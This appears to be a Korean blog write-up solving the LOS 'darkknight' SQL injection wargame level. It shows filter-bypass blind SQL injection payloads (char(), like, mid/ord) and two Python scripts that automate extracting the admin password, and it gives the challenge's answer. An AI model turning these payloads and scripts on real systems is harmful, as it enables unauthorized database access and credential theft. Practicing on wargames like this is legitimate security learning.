문제
문제 분석
no에 "prob" , "_" , "." ,"'"(싱글쿼터),"substr","ascii","="를 피해줘야 하고
id를 조회하는 쿼리가 참이된다면 hello {id}가 출력되는데 이것으로 blind injection을 진행한다.
결국 blind injection으로 알아낸 admin의 pw값을 정확히 입력해줘야 문제가 풀린다.
pw값이 존재하며 입력 받은 pw의 값과 같은 조건을 우회하기는 힘들다.
이때 싱글쿼터가 막혀 id='admin'을 못해주기에 이를 우회하거나 다른 방법으로 알아내는 것이 핵심이다
문제풀이
no에 아무 숫자를 넣어주어 아무값도 없게 만들고 or를 입력해서 뒤에 쿼리를 id='admin' and 1(1 대신 원하는 조건)으로 조작한다
where id='admin' and pw= '' and no= 1 or id='admin' and 1
=> and로 묶이는 주황색 조건은 pw='' 때문에 전부 false가 되고 뒤에 id가 admin이란 조건과 참인 조건이 만나면 hello admin이 출력되어 조건이 맞는지 아닌지 파악 가능
이제 1 대신 pw와 관련된 조건을 입력하여 blind injection을 진행한다.
파란색 조건에서 id='admin'조건을 해주지않는다면 다른 id인 guest와 혼동될수 있다. 하지만 '(싱글쿼터)를 사용 못하므로 id like char(97,100,109,105,110)를 사용해준다
문제 정답
pw 길이를 알아내는 조건
URL?no=1 or id like char(97,100,109,105,110) and length(pw) like 1
1의 값을 하나씩 바꿔주는데 hello admin이 출력되는 수가 pw의 길이이다.
pw 값을 알아내는 조건
URL?no=1 or id like char(97,100,109,105,110) and 1 or ord(mid(pw,1,1)) like 1
pw의 자릿수를 아스키코드로 바꿔 참이되는지 파악하는 조건문이며 1은 pw의 자릿수를 의미하고 1에 맞는 ascii 숫자가 들어가면 조건이 참이 되면서 hello admin이 된다.
따라서 위의 조건을 통해 password를 알아내서 pw를 정확히 입력하면 문제가 풀린다.
URL?pw=0b70ea1f
아래의 코드를 통해 쉽게 알아낼 수 있다.
문제 풀이 코드 1
'admin'을 우회하여 쿼리 작성
import requests
url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
session = {'PHPSESSID' : 'cdbquk3ihvfimiirqf0fdagc39'} #로그인 쿠키
count=0
data={}
password=""
same=""
for pw_length in range(1,12):
data['no']="or id like char(97,100,109,105,110) and length(pw) like "+str(pw_length)+""
res = requests.get(url, params=data, cookies=session)
if "Hello admin" in res.text:
print("pw_length:"+str(pw_length))
break
for i in range(1,pw_length+1):
for j in range(32,127):
count=0
data['no']="1 or id like char(97,100,109,105,110) and ord(mid(pw,"+str(i)+",1)) like "+str(j)+""
res = requests.get(url, params=data, cookies=session)
if "Hello admin" in res.text:
count=1
password+=chr(j)
print(password)
break
data['pw']=password
res = requests.get(url, params=data, cookies=session)
print(res.url)
if "Clear!" in res.text:
print("\nClear!")
else:
print("try again!")
문제 풀이 코드 2
id='admin'조건을 해주지 않고도 알수있는 방법이 있다. blind injection을 통해 hello admin 반응을 보고 판단하면 된다.
여기서 hello admin이 나오지 않고 hello guest만 나오는 경우가 있을수 있는데 이는 admin 과 guest의 패스워드가 같은경우여서 같은 password로 보면된다.
id='admin' 설정을 안해주어 hello admin이 안나올시 hello guest의 비밀번호와 같은걸로 판단
import requests
url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
session = {'PHPSESSID' : 'cdbquk3ihvfimiirqf0fdagc39'} #로그인 쿠키
count=0
data={}
password=""
same=""
for pw_length in range(1,12):
data['no']="1 or length(pw) like "+str(pw_length)+""
res = requests.get(url, params=data, cookies=session)
if "Hello admin" in res.text:
print("pw_length:"+str(pw_length))
break
for i in range(1,pw_length+1):
for j in range(32,127):
count=0
data['no']="1 or ord(mid(pw,"+str(i)+",1)) like "+str(j)+""
res = requests.get(url, params=data, cookies=session)
if "Hello admin" in res.text:
count=1
password+=chr(j)
print(password)
break
if "Hello guest" in res.text:
same=chr(j)
#print(same)
if (j == 126) and (count == 0): #만약 admin과 guest의 pw가 같은위치에서 같을경우 admin은 검색이 안되기 때문에 이를 방지
password+=same
print(password)
data['pw']=password
res = requests.get(url, params=data, cookies=session)
print(res.url)
if "Clear!" in res.text:
print("\nClear!")
else:
print("try again!")
'LOS-write up' 카테고리의 다른 글
LOS 14(giant) (0) | 2021.01.05 |
---|---|
LOS 13(bugbear) (0) | 2021.01.03 |
LOS 11(golem) (0) | 2021.01.03 |
LOS 10(skeleton) (0) | 2021.01.03 |
LOS 9(vampire) (0) | 2021.01.03 |